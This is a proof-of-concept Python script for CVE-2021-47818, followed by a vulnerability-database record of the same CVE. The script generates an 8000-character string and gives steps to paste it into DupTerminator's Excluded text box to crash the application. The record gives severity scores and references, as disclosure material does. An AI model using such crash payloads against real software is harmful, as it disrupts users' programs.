CVE-2021-47818

#!/usr/bin/env python3 # CVE-2021-47818 PoC - DupTerminator DoS # Description: Generates a payload of 8000 repeated characters # to trigger denial of service in DupTerminator Excluded text box def generate_dos_payload(): """ Generate DoS payload for DupTerminator vulnerability. The application crashes when a string of 8000 repeated characters is entered in the 'Excluded' text box. """ # Payload size: 8000 characters payload_length = 8000 # Generate repeated character payload # Can use any character, typically 'A' or '\x41' payload = 'A' * payload_length return payload def main(): print("CVE-2021-47818 PoC - DupTerminator DoS") print("=" * 50) payload = generate_dos_payload() print(f"Generated payload length: {len(payload)}") print(f"First 50 characters: {payload[:50]}...") print("\nUsage:") print("1. Open DupTerminator application") print("2. Navigate to 'Excluded' text box") print("3. Paste the generated payload") print("4. Application will crash/stop responding") # Save payload to file for manual testing with open('cve_2021_47818_payload.txt', 'w') as f: f.write(payload) print(f"\nPayload saved to: cve_2021_47818_payload.txt") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2021-47818", "sourceIdentifier": "[email protected]", "published": "2026-01-16T19:16:06.363", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "DupTerminator 1.4.5639.37199 contains a denial of service vulnerability that allows attackers to crash the application by inputting a long character string in the Excluded text box. Attackers can generate a payload of 8000 repeated characters to trigger the application to stop working on Windows 10."}, {"lang": "es", "value": "DupTerminator 1.4.5639.37199 contiene una vulnerabilidad de denegación de servicio que permite a los atacantes bloquear la aplicación al introducir una cadena de caracteres larga en el cuadro de texto Excluded. Los atacantes pueden generar una carga útil de 8000 caracteres repetidos para provocar que la aplicación deje de funcionar en Windows 10."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1284"}]}], "references": [{"url": "https://sourceforge.net/projects/dupterminator/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49917", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/dupterminator-denial-of-service", "source": "[email protected]"}]}}